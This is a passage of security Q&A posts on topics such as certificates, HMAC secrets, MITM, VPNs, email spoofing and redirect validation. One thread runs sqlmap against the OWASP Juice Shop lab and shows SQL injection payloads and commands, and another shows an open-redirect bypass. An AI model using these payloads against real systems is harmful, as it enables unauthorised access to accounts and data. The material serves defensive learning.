to a file named after the hostname of the server where the certificate will be installed. For example mail.example.com.crt, is a nice descriptive name. Subsequent certificates will be named 02.pem´, 03.pem`, etc.
Replace mail.example.com.crt with your own descriptive name.

Finally, copy the new certificate to the host that needs it, and configure the appropriate applications to use it. The default location to install certificates is /etc/ssl/certs. This enables multiple services to use the same certificate without overly complicated file permissions.
For applications that can be configured to use a CA certificate, you should also copy the /etc/ssl/certs/cacert.pem file to the /etc/ssl/certs/ directory on each server.


Is D parameter of the RSA strong enough to be used as secret for HMAC calculation? Short question:
Is the D parameter of the RSA alghorithm crypthographically strong enough to be used as a secret key for generating SHA-256 hash value?

Long question:
I'm working on windows platform.
I have to protect certain data with HMAC.
I have 4 servers that need to be able to generate/validate hmac values for certain data.

I'm using this class to generate the HMAC value -
https://msdn.microsoft.com/en-us/library/system.security.cryptography.hmacsha256(v=vs.110).aspx

It requires secret. Obviously the secret needs to be shared among all 4 servers.
I have a requirement to protect this secret. It can't be stored as a plain text file.

It's fine for certain key custodian to access this secret but not for wider audience e.g. system maintainers/developers.

I thought I might use windows certificate store as a mechanism that protects the key.
The idea is following

Key custodian generates a self signed certificate, installs it in the certificate store on each of the 4 servers.
After cert is installed the key custodian grants access to the certificate and private key to a "system user" that hosts the application.
This is done on each server.

The cert is retrieved as needed by application and private private key extracted and then D value of that private key is fed into hmac calculator as shared secret.

    private byte[] ExtractPrivateKeyFromCertificate(X509Certificate2 certificate)
    {
        var provider = certificate.PrivateKey as RSACryptoServiceProvider;
        var privateKey = provider?.ExportParameters(true);

        if (privateKey != null)
        {
            var value = privateKey.Value;
            return value.D;
        }
        else
        {
            throw new ArgumentException("Certificate does not contain a private key", nameof(certificate));
        }
    }

then that is passed into the Hmac calculator

var hmac = new HMACSHA256(ExtractPrivateKeyFromCertificate(certificate));

and hash is calculated

hmac.ComputeHash(data)

Do not do this. No, it's not ok.

What you're looking for is to protect the integrity of some message. You would like to use HMAC, which is the correct algorithm. The question is: how to link up RSA and HMAC and all messages.

You should use standard Public Key Signing.

Generate a random HMAC Key (size is the same as the size of the hash used for HMAC).
Compute HMAC(Message,Key_HMAC).
Compute Sign(HMAC,Key_RSA).

Package Message||Key_HMAC||Signature and distribute as needed.

To check integrity, recompute HMAC and verify signature over it.

Every server sharing the same self signed Signing certificate is OK. Or, you could create a root certificate and provision four Signing certificates each signed by the root cert, one per server. If you properly sign the message and package it in a PKCS envelope, the server that signed it will package it's certificate with the signature and each server can separately verify the signature as it trusts the root of the attached certificate. This may take up a lot of space (PKI signature can be large) per signed message.


If I accept a certificate in order to use my company’s Wi-Fi, am I vulnerable to MITM attacks? In order to get my personal phone onto the Wi-Fi network at my workplace, I have to accept a certificate:

If I accept this certificate, will I be vulnerable to man-in-the-middle attacks? For example, if my corporate IT department decided to issue their own SSL certificate for www.google.com, would my device think that that certificate was valid?

What is this certificate being used for?

In this case, no, your device will not be subject to MITM of https traffic.

It is possible for employers to deploy a root certificate to machines in order to install a MITM proxy.  (BlueCoat is a company that offers such a device commercially.)  However, that requires a "trusted root" certificate to be installed in the client computers.

In your case, the certificate pictured in your screen shot says it will be used for "server authentication."  This is not a trusted root certificate, and cannot be used to verify other certificates.  This means a MITM proxy won't be able to use it to give you a substitute signed certificate.

Of course, your unencrypted traffic is still subject to inspection.


How realistic and possible is this sort of attack I scanned a host with Nessus, in order to do a vulnerability Assessment, and one of the findings looked really odd to me.

Nessus rated this finding's risk as Medium. The finding was, that a service uses an SSL certificate which supports the use of Medium strength SSL ciphers with known weaknesses, and hence can impose a threat.
Now, let us assume that this SSL certificate is not from a known CA, but came with a security product, for this case we can say Juniper SA (SSL VPN), and is presented on the login page.
What are the threats here, are they really possible, do they really justify a Medium risk level, if it only "supports" the use-of, and I use strong SSL ciphers, does that justify a Medium risk (I guess it can't know that), and what does it say about a security vendor that issues a "weak" certificate with a product of his?

I personally have a feeling (just a feeling, no technical knowledge on this sort of possible-attack) that this attack is very difficult to launch and to have success with.

Any thoughts?

Allowing SSLv2 with weak ciphers exposes you to several potential attacks and is not worth the risk. If you only plan on using strong ciphers, is easy enough to restrict the SA VPN to only allowing SSLv3 and TLS1 with 168bit ciphers on the Configuration>Security tab.  You will even note that there is a warning on that page indicating known vulnerabilities with SSLv2.

One example MITM attack against SSLv2, during session negotiation an attacker can remove the strong ciphers from the available list in the conversation and force the server to negotiate with a weak one.  The rest of the traffic can be collected using a packet sniffer and decrypted later. The user would have no indication that this happened and 40 bit encryption can be decrypted in less than a day on today's hardware.

Unrelated to your question but since you mentioned it... you should also replace that factory supplied SSL certificate with one signed by a trusted CA.  Nessus should have also flagged that as an issue.


Can an attacker sniff physical network traffic through WiFi? So, I am wondering - is it possible for an attacker to sniff traffic on an Ethernet connection if they are not physically plugged into the modem/router hardware but they are connected through wifi? In this scenario the attacker is connecting via wi-fi and the victim is connecting through Ethernet. So both the victim and the attacker are on the same network just using different interfaces.

From my understanding the attacker who is connected to the modem/router through wifi is not going to be able to sniff Ethernet traffic on the same modem/router because they do not have physical access via a network cable to the modem/router. Is this correct?

TLDR: Basically with what you're asking, only ARP broadcasts, unless you subnet your wireless from your wired network.

Overall it depends. First, your computer on the ethernet may occasionally send out broadcasts to the whole network. For example, if it needs the MAC address of a machine on the local network, it will send out an ARP broadcast to all machines on the local network, including the attacker's. This doesn't tell the attacker much, however, other than that there is another computer on the network, and he might possibly deduce it's connected by ethernet since he can't see any other Wi-Fi traffic.

However, at this point he can do what is called ARP cache poisoning. His computer could respond to the broadcast sent by your computer looking for the machine on the local network, claiming to be the machine it's looking for. Then your computer will continue to send it data directly, because it thinks it's talking to the right host.

Of course, the attacker would be found out pretty quickly if his computer wasn't set up to reply correctly to the traffic you are sending it. It helps for the attacker to anticipate what kind of connection your computer will be trying to make. And if, say, your computer is trying to open an RDP connection to the attacker's computer, that's not very useful for the attacker anyway. The real danger of ARP cache poisoning is if the host your computer was trying to initiate a connection to was its default gateway to the Internet. The attacker could just forward all your traffic to the real default gateway while acting as a middle-man, sniffing all your traffic.

Fortunately, if the scenario you are referring to is a home Wi-fi network, the default gateway your computer was looking for was the Wi-fi router itself, and though I am not an expert on Wi-fi routers I would assume the Wi-fi router would be smart enough to not forward an ARP broadcast requesting its own MAC address. Plus the attacker would have to beat the router at replying to the broadcast, which seems unlikely, but I suppose could be possible if you had like the worst Wi-fi router ever made.

Anyway, once your computer has the correct MAC address for its default Internet gateway or whatever MAC address it was looking for, all communications will be sent to that MAC address directly. If you were connecting to another computer connected to Wi-fi, the attacker can still see that traffic though.

This explanation also assumes your Wi-fi router is otherwise secured from the attacker controlling it directly. If you, say, left the router admin password at default or something then he might be able to change the settings to have the router forward him all your traffic, or overwrite the router's firmware with one he supplies to have the router forward him all your traffic.

Finally, if you're really worried about these ARP broadcasts coming from your computer, however infrequent and mostly useless they are unless they are for the default gateway which they shouldn't be, then on a nicer router you might be able to subnet the local network to have the Wi-fi be one subnet and the ethernet be another. Then the router shouldn't even forward ARP requests across Wi-fi.


It seems someone or something is replicating my requets I have a personal service which is deployed on one VPS. The service works based on http requests, and it is due specific goal and handling three types of requests.
The order matters in the requests. Client send requests, it usually takes something between 30s to 6min to get a response (and it's OK).
When I set it to perform short task (30-60 seconds) everything is OK. But when I have longer request (3-4 minutes), it seems someone with another IP replicates the requests I sent after 2(almost) minutes.
Times are in seconds:

at time 0   I send a request to startup the system from IP1 (my IP)
at time 15  I send a request to run the system from IP1 (my IP)
at time 18  I send a request and ask for the result which should take about 500 seconds from IP1 4. at time 130 the system gets a request from another IP (IP2) to startup the system
at time 154 the system get a request to run the system from IP2

I checked IP2. It's not on any sort of black list, and it seemed to come from Amazon AWS.
My mistake was that I have left the port open and made it possible. I closed it and now I'm using ssh port forwarding. It works fine now. What I don't understand is: "is this something normal? Is this some sort of attack? Am I paranoid?"

Your scenario is not described completely and is difficult to understand what is the issue, however you can do the next checks:

Your application should use TLS, so all your requests will be encrypted over the internet, is your application using HTTP?
You should review your application, according your explanation this could be a bug in your application. You should provide more information about it.
On the destination host, you could pcap file the requests and later try to discover what is the issue and where the other IP came from.

Hope it helps


Monitoring system calls (in a reliable and secure way) It there a reliable method of “monitoring” system calls under Linux?

There is strace for example to monitor system calls and signals. Is there a way for a process to dodge out of strace? If yes, is there another reliable, secure method of "monitoring" system calls (and, maybe receiving signals), that a process cannot escape from (assuming a proper Linux implementation)?

On Linux, you can reliably monitor a selection of system calls or file accesses with the audit subsystem. Make sure the auditd daemon is running, then configure what you want to log with auditctl. Each logged operation is recorded in /var/log/audit/audit.log (on typical configurations).

You'll find simple examples of auditctl usage on this site, on Server Fault, and on Unix Stack Exchange.

strace or associated programs using ptrace are reliable ways of monitoring system calls, but I would be wary of using them on a malicious program. I couldn't tell you how off the top of my head, but it should be possible for a monitored program to make the right ptrace calls to evade monitoring.

Note that a malicious program could spawn a process that is not audited and can execute code that won't be logged. For example, it could use mmap to write to a file without the file contents ever appearing as the arguments of system calls, make this file executable and spawn a process executing it. The spawned process can typically break the process tree with something like ssh localhost. If you audit all the processes executed by a given user (as opposed to only a single process and its descendants), you'll be able to log everything.


Do VPNs really mask your identity or is it a facade? Disclaimer:
This is NOT intended to educate myself or others on carrying out illegal activities. I am interested in security topics and as a craftsman I pride myself on continued education. THAT SAID:
Question:
It is often said that things such as VPNs, proxy servers etc. mask your identity on the internets. The more I research how the TCP/IP framework actually works though, I question this theory more and more.
Conventional knowledge says that if you punch up a VPN, then you can torrent files or look at embarrassing porn without worry of being identified. I believe this to be true if there is someone sitting between me and my VPN because that's an encrypted tunnel (hopefully). I don't believe this could be said though for systems beyond my VPN tunnel. Based on my limited research, datagrams contain not only the target IP address but also the source IP address. Even though networks such as tor bounce your traffic around the world, in the end, it has to find its way back to you.
I guess in short I am asking, what is stopping the FBI NSA or anyone for that matter from setting up a script that logs headers of datagrams and also the targeted content of these requests? It seems as if there is truly no way to mask one's identity unless you submitted your request from a public location with a spoofed MAC address.
To be clear, I am specifically asking... Is it reasonable to say, any server that I request data from, regardless if I am behind tor, VPN, ect, can in fact, find my source IP contained within the header of the Datagram, and thus, know the true origin of the request. Which can then be logged along with whatever content is requested and then handed over to whomever may request it.
Resources:
Datagrams
How TCP/IP works
(and just because I know someone will argue it's not conventional knowledge that VPN providers assert they provide anonymity http://btguard.com/ )

Is it reasonable to say, any server that I request data from, regardless if I am behind tor, VPN, ect, can in fact, find my source IP contained within the header of the Datagram, and thus, know the true origin of the request.

No on IPv4. A virtual private network works by connecting, between you and the VPN provider, a tunnel such that you can route through a private network - one of the 10.0.0.0/8, 192.168.0.0/24 or 172.16.0.0/16 address spaces. This is why it is a "private network". The virtual bit comes from the fact you are actually routing over the public internet.

Your access to the internet is then "proxied" like a home router i.e. network address translation. Since there is no route to a private IP address, unlike a public one, the public facing router must take responsibility for both forwarding packets out to the internet and tracking where the replies should go to.

One way to do this is via source ports, but it is not the only way. In this case the source port of the packet and hence the port on which replies are received tells the router which private network host to send the packet to.

As such, you will "appear" to have the IP of the exit gateway of the VPN to servers that see your requests.

Tor circuits, simplified, are like the gateway process times 3. Each step knows who to send on to and who to return to, but not anything else, with each taking responsibility for routing. So, between you and the internet you have a tor entry server, a relay server and a tor exit node. The relay server for example knows to relay packets from the entry server to the exit node, but no more - it does not know the eventual destination of the packet which only the exit will know, or the source, which only the entry knows.

This is completely opposed to conventional routing, which on the public internet explcitly has a source and destination IP. Routers do not re-write this, instead they simply try to calculate the most efficient "next hop" (directly connected hardware to which they can send the packet). Multiple such steps happen in a typical internet communication (see traceroute) and since tor nodes are internet communications tor nodes packets will also hop over multiple nodes taking varied routes through the internet with known source and destination (which are crucially only the relays).

I've written a lot of text, so perhaps it's worth recapping with steps what happens to a packet in the VPN scenario. Let's say I'm sending a HTTP get request.

I connect to VPN. The process of doing this preserves my route for VPN traffic but otherwise creates a default route via the VPN gateway and makes me part of their private network. Examples from my VPN provider:

$ ifconfig
tun0: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST>  mtu 1500
    inet 10.0.9.14  netmask 255.255.255.255  destination 10.0.9.13
    unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00  txqueuelen 100  (UNSPEC)
    RX packets 48  bytes 23132 (22.5 KiB)
    RX errors 0  dropped 0  overruns 0  frame 0
    TX packets 55  bytes 12215 (11.9 KiB)
    TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
$ ip -4 route
0.0.0.0/1 via 10.0.9.13 dev tun0
default via 10.0.0.1 dev wlp2s0  proto static  metric 1024
10.0.0.0/16 dev wlp2s0  proto kernel  scope link  src 10.0.0.109
10.0.9.1 via 10.0.9.13 dev tun0
10.0.9.13 dev tun0  proto kernel  scope link  src 10.0.9.14
notareal.ip.200.165 via 10.0.0.1 dev wlp2s0
128.0.0.0/1 via 10.0.9.13 dev tun0

if you look at this carefully you'll notice some strangeness. The default route remeains in place but has its metric set high (low priority) whereas 0.0.0.0/1 and 128.0.0.0/1 - comprising all IPv4 except the notareal.ip line - are sent via tun0. That line exists so that VPN traffic can still go via the proper original interface.
I craft a packet and send it. According to my above mentioned scheme, when I say I want to send this packet to stackexchange.com my routing table instructs me to forward it to the VPN gateway because that's the highest priority matching route.
Internally, the VPN software does its crypto thing and writes a packet to the VPN gateway. This too is looked up in the routing table and goes via the actual network. It is unwrapped at the other end.
At the other end, the packet hits the gateway and is NAT'd, or proxied, or whatever scheme your provider uses. They then leave for the public internet.
When a reply comes in over an established TCP connection, the reverse process happens.
UDP is connectionless anyway; inbound UDP and outside initiated TCP connections are not possible because there's no public routes to me.

In essence, this is quite like your home network NAT, except virtual.

I am using OpenVPN in this case; what you see if you try these steps depends on your provider, VPN software etc and are essentially the same.

Now to answer your question "do VPNs really mask your identity?" - well, there are a lot of ifs and buts and ummms to that, but here's the simplest breakdown I can think of:

If you are an server operator and someone is using a VPN, it's unlikely you'll be able to identify them. You'll see traffic from the VPN provider easily enough, but you won't know who it came from originally unless:
You are a server operator with some kind of authentication mechanism or the ability to store persistent "tracking" cookies on the target. In the former case, you might even know who they are; in the latter case you know they are a unique individual and you won't know exactly who. However:
The VPN provider sees all - the DNS requests you make, where your packets are going etc. In this sense they are now your ISP. Even if you paid them anonymously and gave them details to a completely segregated persona, they still know where your packets come from. The upshot of this is that there is a link to your true identity, or at least whoeever pays the internet bill.

Thus, if you give law enforcement sufficient motive, they'll find you easily enough.

IPv6 is an interesting area. I don't know many people who routinely route ipv6 over VPN mostly because the only person I can name with IPv6 connectivity is me... but, it can be done. IPv6 does not have the concept of private address spaces (slight lie, they do exist) as everything is supposed to be world-routable. Indeed some people believe that NAT breaks the original conceptual design of the internet as a single globally routable network.

Anyway, you can read more about it here - you get IPv6 routable blocks assigned to you instead of private ranges.

If you're wondering, though, publicly routable doesn't necessarily mean packets will be accepted, it just means they could be directed there. There can still be firewalls blocking all incoming connections.

Edit: as an interesting educational exercise, try listening for traffic with wireshark on the VPN interface (in my case tun0) versus the actual hardware interface :)


How to secure OAuth on an HTTP website I want to use OAuth from a famous source (Facebook/Google/GitHub) as a login mechanism for users (for simplicity and to avoid storing passwords).

What are the security risks? Do I really need HTTPS/TLS on my website? Does TLS make it 100% secure?

No system will be 100% secure. I think that some authentication providers (such as Facebook) will force you to use TLS and will only allow redirections to https:// sites. If your connection is not secured using TLS, an eavesdropper will be able to see any tokens exchanged in the OAuth authentication process. With Let’s Encrypt available for free, there is really no good argument against even the most basic TLS solution.


How to determine if a scanner finding a virus in my email is a false positive? I have an important email to send. Unfortunately, the recipient's email server rejects it because it found a virus. Note the email has a zipped .exe file attached, the .exe is supposed to download data from the internet - this, I believe, is likely to make AV engines suspicious and perhaps be a source of false positives? The .exe file is compiled by me from C# source code I wrote and I did not write my code to be malicious.

Therefore it would seem I must now somehow either make certain that the report was indeed a false positive and - having ensured this - contact the recipient in another way, OR ensure that this was NOT a false positive and - well, perhaps in this case it is the time to nuke my system from orbit :(

I uploaded the rejected email .eml file to VirusTotal - one engine reported HEUR.ExecInMail, but well I know this without AV engines already. I uploaded the .zip to VirusTotal, one engine says Unsafe but with no further details. I uploaded the .exe to VirusTotal, the same engine still claims Unsafe and one more engine says Unsafe.AI_Score_99%. All other engines find no problems.

How do I try to determine if this is a false positive or not? I'm afraid I do not have enough skills to manually reverse engineer a dotnet binary and make certain that it is not infected.

I will recommend you to find another way to send the file to your friend, or you can try to encrypt the file with pgp and send the file to him, in this way probably you will by pass the AV validation, but bear in mind that the validation of the MTAs can vary from one system to another due to have different policy rules on them, and the encrypted file could be label as suspicious also.

Also you need to take into account that probably your exe file contains elements/patterns that on some AVs generates the false positive. Probably contact with the vendors and submit a false positive to them


If I give my bank account and routing number to a stranger to receive a one-time payment, can they steal money from my account? Aside from my SSN, card numbers and PIN numbers what information does someone need to spend money from my bank account without my consent? I want to list an item for sale on an auction website and if it sells the winning bid should be in the thousands. If I accept payment by bank transfer (due to potential rules regarding payment for this type of item) can the bidder use my bank account and routing numbers to spend money from my account?

This depends on which juridicsion or country you live in.

For example, here in sweden, its safe to give out bank account number and routing information, because to extract money, you will need a valid ID-card tied to someone that is authorized to access the account, and of course, bank personell will of course check the ID card throughly including calling the issuer to check if the ID card is barred.

In other countries, bank numbers are considered a "password", eg anyone that have it can pull money from account.

Also check your checks if you have check access. If the checks only lists your bank number and routing number, there is a possibly that someone could create a fake check with fake signature from you, and cash that check. Some other banks might include a security code or similar that will be cross-checked against the bank's computer system.

Same with bill paying. If bill-paying using only bank account and routing number is allowed from a remote location, then you are at risk, since someone only needs to fake your signature.

But for example in sweden, you always need to sign up for such services using a ID, and if those services aren't enabled on your account, its not possible for any outsider, that have access to bank number and routing info, to extract money from account.

The best you can do, is to open a unrelated bank account, at a second bank you normally isn't a customer in. This bank account, should have NO associated services, no checking account, no bill-payer service, nothing. Only way to get money out of the account should be physically visiting the bank office.

This account would then be safe to leave out. I don't know what happens if some attempts to cash a fake check for a bank account that has no checking access, but I think the accepting bank will notice the attempt immediately when their computers show the lack of checking access on the bank account.

HOWEVER: There is a second thing that is toublesome, regardless in which way you receive money. This is that someone, could, without your permission, depoist toublesome money in your account, for example money gained from a bank robbery or sales of narcotics. When investigation goes on, there is a possibility that all accounts you own, is frozen during the investigation. When a account is frozen, it means you have to apply to get your money for day-to-day living for example food and such.

So even if the security is so tight that only you can extract money from the account even if the whole world knows your bank account number, there is a possibility you can get in trouble if someone wants you in trouble.

This means, that regardless of the payment method you accept or use for the auction in question, you should carefully vet and check the winning buyer, before giving out information to the buyer that makes it possible for him to pay. If something is suspicious of the buyer, even if he have the money (Note! The money can be stolen! Not even cash is 100% safe to receive), then go for the next highest bidder.

In most auction sites, if you bid on a item, you are always obligated to pay the bid, even if someone overvid you, because also in most auction sites, the seller has the possibility to select who should win, he isn't required to sell to the highest bidder. (but of course, if the highest bidder is clean, theres no reason for the seller to lose money on selecing a low bidder).


Using sqlmap for detecting SQLi on Juice shop's login page New Sqlmap user, so please be patient :)
I've started looking at the tool and I'm curious about its use. For instance, the login page of OWASP's Juice shop is vulnerable to sql injection (' OR 1=1-- and you'll be automatically logged in as admin), but running the tool from the cmd line over the login url doesn't detect any vulnerability. Here's the cmd I'm running:
sqlmap -r D:\sql_juice.txt  --risk 3 --threads 10 --ignore-code 401 --level 5

And here's the request file I've captured with Fiddler:
POST http://ws-windows1001:9100/rest/user/login HTTP/1.1
Host: ws-windows1001:9100
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 31
Origin: http://ws-windows1001:9100
Connection: keep-alive
Referer: http://ws-windows1001:9100/
Cookie: language=en; welcomebanner_status=dismiss

{"email":"*","password":"*"}

I expected the tool to detect the vulnerability, but it seems like I must be doing something wrong...sould sqlmap detect this scenario?
Thanks.

First of all always try to minimize usage of --threads when you are facing problems and consider testing with something like --delay=1 as the service might not work normally in high load.
I started Juice with:
docker run --rm -p 3000:3000 bkimminich/juice-shop

Then when I try to login with invalid creds:
POST /rest/user/login HTTP/1.1
Host: 192.168.2.82:3000
Content-Length: 46
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Type: application/json
Origin: http://192.168.2.82:3000
Referer: http://192.168.2.82:3000/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: language=en; welcomebanner_status=dismiss
Connection: close

{"email":"user@example.com","password":"test"}

And notice error message from the application:
HTTP/1.1 401 Unauthorized
<snip>
Invalid email or password.

When I repeat the query with ' in email parameter:
{"email":"'","password":"test"}

We will observe following response from service:
HTTP/1.1 500 Internal Server Error
<snip>
  "error": {
    "message": "SQLITE_ERROR: unrecognized token:
<snip>

Then we can start exploiting it with sqlmap. We are using --dbms=sqlite to reduce amount of queries and we are ignoring failed logins causing 401 responses. By default sqlmap will stop testing in case of 401 responses.
./sqlmap.py -r query.txt --ignore-code=401 --dbms=sqlite

Where query.txt content is:
{"email":"user@example.com*","password":"test"}

Result should look like:
$ ./sqlmap.py -r query.txt --ignore-code=401 --dbms=sqlite
<snip>
[04:44:10] [WARNING] (custom) POST parameter '#1*' does not seem to be injectable
[04:44:10] [WARNING] HTTP error codes detected during run:
401 (Unauthorized) - 135 times, 500 (Internal Server Error) - 19 times

When we run sqlmap with following command line:
 ./sqlmap.py -r query.txt --ignore-code=401 --level=5 --risk=3 --technique=B --dbms=sqlite -t traffic.log

We can actually see following in traffic.log:
{"email":"user@example.com-5400' OR 3083=3083-- LNfg","password":"test"}

With response:
{"authentication":{"token":"x","bid":1,"umail":"admin@juice-sh.op"}}

But for some reason sqlmap doesn't detect that as a vulnerability. Feels like a bug, but not sure why this happens exactly. Need to investigate more.
If we run following we can find the vulnerability as time-based blind:
$ ./sqlmap.py -r query.txt --ignore-code=401 --level=5 --risk=3 --dbms=sqlite -t traffic.log
<snip>
sqlmap identified the following injection point(s) with a total of 694 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
    Type: time-based blind
    Title: SQLite > 2.0 AND time-based blind (heavy query)
    Payload: {"email":"user@example.com'||(SELECT CHAR(79,100,67,109) WHERE 8186=8186 AND 9788=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))))||'","password":"test"}
---
[05:30:04] [INFO] the back-end DBMS is SQLite

UPDATE: I submitted this case as an issue to sqlmap GitHub project. See: https://github.com/sqlmapproject/sqlmap/issues/4671
2nd UPDATE: This has now been fixed in upstream.


Can another user on the same computer access my accounts if I tick "keep me signed in"? At work on my computer I tick "keep me signed in" on nearly all the sites I visit. I left work today and I forgot to log out of all those websites.
I logged of my work account and shut it down.

If someone else logs onto that computer using their own work account, will my sites still be logged in?

If by "work account" you mean User Account within Windows, then no. Each user account in Windows (and most other operating systems) has it's own browser data.

The remember me feature relies on the ability to store a secret token in browser data (usually Cookies), so if you switch user accounts (and browser data), then they will not have that remember me token and will therefore not be signed in on your name.

Of course, since these folks have Physical Access, they could probably break into your user account anyway, or steal the secret token. However, this requires a certain level of technical skill.


Under what circumstance might your email not make to your intended recipient? I'm asking because it's one thing to eavesdrop on someone's email, but it's another thing to prevent your email from getting to your recipient. For example, I sent an email to a colleague and he and I exchanged several back and forth emails about the nature of our confidential project.  I later discovered that my colleague never received my email and therefore was not the person responding to my email.  So what exactly happened here?  Did someone get into my email server, or my colleague's email server?  I'm trying to figure out how someone can physically block an email from getting through.

Email is sent over SMTP.  Normally speaking your email client sends the message to a configured SMTP server.  That server then uses DNS to resolve the MX (mail exchanger) record for the destination domain (the part after the @ sign).  It then sends the message on to that server.

If your SMTP server or the DNS it uses were compromised it could send to a malicious MX that allows an interloper to not only read the message, but prevent its delivery to your intended recipient.

The attacker forging a reply is trivial if the sender's domain (your colleague's domain) does not have SPF (Sender Protection Framework) implemented.  In that case an attacker can send email as your colleague and it will likely get through.

You should be able to determine a lot by looking at the raw email source if your email client allows this.  The headers provide a certain amount of information about where your mail server received the attacker's messages from.  Comparing the headers on your sent mail to those on the received messages may provide insight as well.

These headers won't track a somewhat clever attacker because they will mask, forge or omit the Received headers on their side.  The only information you can trust is the very last Received header and that is only true if your email server is configured properly and not compromised by the attacker.  Unfortunately open SMTP relays exist making it very easy for an attacker to bounce email through and drop all meaningful tracking.

Assuming you have usable Received headers you may be able to reconstruct a real path to your attacker and unmask them.  It will certainly identify opportunities for implementing proper SPF on both domains and spam filtering that drops emails that fail SPF verification.


Is it safe to use a weak password as long as I have two-factor authentication? I'm careful to use strong passwords (according to How Big is Your Haystack, my passwords would take a massive cracking array 1.5 million centuries to crack), I don't reuse passwords across sites, and I use two-factor authentication where it's available.

But typing in those passwords all the time is a real hassle, especially on a phone or tablet. A friend recently asked why I don't just use a relatively weak password for sites like Gmail where I have two-factor authentication enabled, and I didn't really have a good answer. Even if someone brute-forced my password, they'd still need to be in physical possession of my phone to get in.

So: Is it safe to weaken my Gmail password for my own convenience? Or is there a realistic scenario that I'm not taking into consideration?

Clarification: I'm not talking about using a trivial password (e.g. "a") - no site will let me do that anyway. I'm talking about going from a 16-character password with a search space on the order of 1030 to an 8-character password with a search space on the order of 1014.

Specifically for Google, if you use two-factor authentication it is safe to "weaken" your password "from a 16-character password with a search space on the order of 1030 to an 8-character password with a search space on the order of 1014" as long as you use a good 8-character password (i.e. completely random and not re-used across sites).

The strength of two-factor authentication lies in the assumption that the two factors require different kinds of attack and it is unlikely that a single attacker would perform both kinds of attacks on a single target. To answer your question we need to analyze what attacks are possible on weaker passwords compared to stronger passwords and how likely it is that someone who is able to attack weaker passwords but not longer passwords will attack the second authentication factor.

Now the security delta between "a 16-character password with a search space on the order of 1030" and "an 8-character password with a search space on the order of 1014" isn't as large as you may think - there aren't that many attacks that the weaker password is susceptible to but the stronger one isn't. Re-using passwords is dangerous regardless of the password length. The same is true for MITM, key loggers and most other common attacks on passwords.

The kind of attacks in which the password length is meaningful are dictionary attacks - i.e. attacks in which the attacker does an exhaustive search for your password in a dictionary. Trying all possible passwords in the login screen is obviously not feasible for a search space of 1014, but if an attacker obtains a hash of your password then it may be feasible to check this hash for a search space of 1014 but not for a search space of 1030.

Here is where the fact that you've specified Google in your question is important. Google are serious about password security and do what it takes to keep your hashed passwords secure. This includes protecting the servers on which the hashed passwords reside and using salt, pepper and key stretching to thwart a hacker who has somehow managed to get the hashed passwords.

If an attacker has succeeded in circumventing all the above, i.e. is able to obtain Google's database of salts and hashed passwords and is able to obtain the secret pepper and is able to do an exhaustive search with key stretching on a search space of 1014, then unless you're the director of the CIA that attacker won't be wasting any time on hacking your phone to bypass the second authentication factor - they will be too busy hacking the hundreds of millions of Gmail accounts that don't use two-factor authentication. Such a hacker isn't someone targeting you specifically - it's someone targeting the whole world.

If your data is so valuable that such a powerful hacker would target you specifically then you really shouldn't be putting your data in Gmail in the first place. For that matter you shouldn't be putting it on any computer that is connected to the Internet.


Code for validating redirect URL My web application allows me to tell the login form to redirect to a certain page on the website after successfully logging in. For example, if the user goes to the url http://localhost/login.php?returnto=%2FconfirmEmail.php, then after completing the login process, they will automatically be redirected to http://localhost/confirmEmail.php.

After completing the login process, I used the following code to validate the url:

function isValidReturnURL( $input ) {
    if ( !is_string( $input ) ) { //Input is not a string
        return FALSE;
    }
    $cleanString = trim( urldecode( $input ) );
    if ( !strlen( $cleanString ) ) { //Input is an empty string
        return FALSE;
    }
    //Edit: I updated the following code (see below)
    $urlHost = parse_url( $cleanString, PHP_URL_HOST );
    if ( !empty($urlHost) ) { //All local urls will be relative
        return FALSE;
    }
    //End edit
    return TRUE;
}
if ( isValidReturnURL( $_GET["returnto"] ) && $continue ) {
    header("Location:" . urldecode( $_GET["returnto"] ) );
}

I'd like to know if this code is secure, or will it still be possible for an attacker to cause the page to redirect to an external website (or to other malicious locations)?

Update: Previously, my code to ensure that the links were local was as follows:

...
if ( $cleanString[0] !== '/' ) { //All local urls should start with '/'
    return FALSE;
}
...

As noted by various comments, this will consider protocol relative URLS (e.g. //google.com) to be valid. I therefore updated the code above to take that into consideration.

It's not secure:

returnto=//google.com

This is a protocol relative URL, it will redirect to https://google.com if your site is https, otherwise it will redirect to http://google.com


IntelliJ PyCharm promiscuously installing packages I have a Python/Pandas project where I tried to import and call sklearn.model_selection.train_test_split(). It wasn't working and I went to check if I'm missing some packages in project interpreter. To my surprise, the "sklearn" package had been automatically installed, and it certainly doesn't look like a legitimate package. Screenshot:

I wasn't able to find more info on that package. Do I need to worry? Why did PyCharm automatically install something for me from an "UNKNOWN" author?

PyCharm does not automatically install packages. What very likely happened is that you added import sklearn to the top of your file, and then used the install package quickfix. After you add an unresolved import, a red light bulb will appear, and you can choose to install the package with the name of your import, in this case sklearn.

The other ways to install packages from PyCharm are: installing them based on a project's requirements.txt file (a yellow bar will appear at the top of the editor, and you need to click 'Install' on it), manually using the package editor in the settings screen, or if you type the commands in the Terminal window.

Furthermore, the package you're worrying about is empty: https://pypi.python.org/pypi/sklearn/0.0. All it says is that you should download scikit-learn instead.


How can I check password strength client-side? I have a website and my users will be using their selected password to encrypt their RSA private key using JavaScript client-side. How should I be making sure they are using a strong password without transmitting it to the server?

You can use zxcvbn, which is a JavaScript library that checks password strength.

Alternatively, the HaveIBeenPwned API takes an interesting approach to check passwords without sending the password to the server:

Take a SHA1 hash of the password.
Truncate it to five characters.
Send this to the server.
The server returns the full SHA1 hashes of all known (insecure) passwords with these five characters at the start of their hash.
The client checks whether the password hash is in this list.

This way, you don't submit the whole password but the client also doesn't need to retrieve the whole password database.


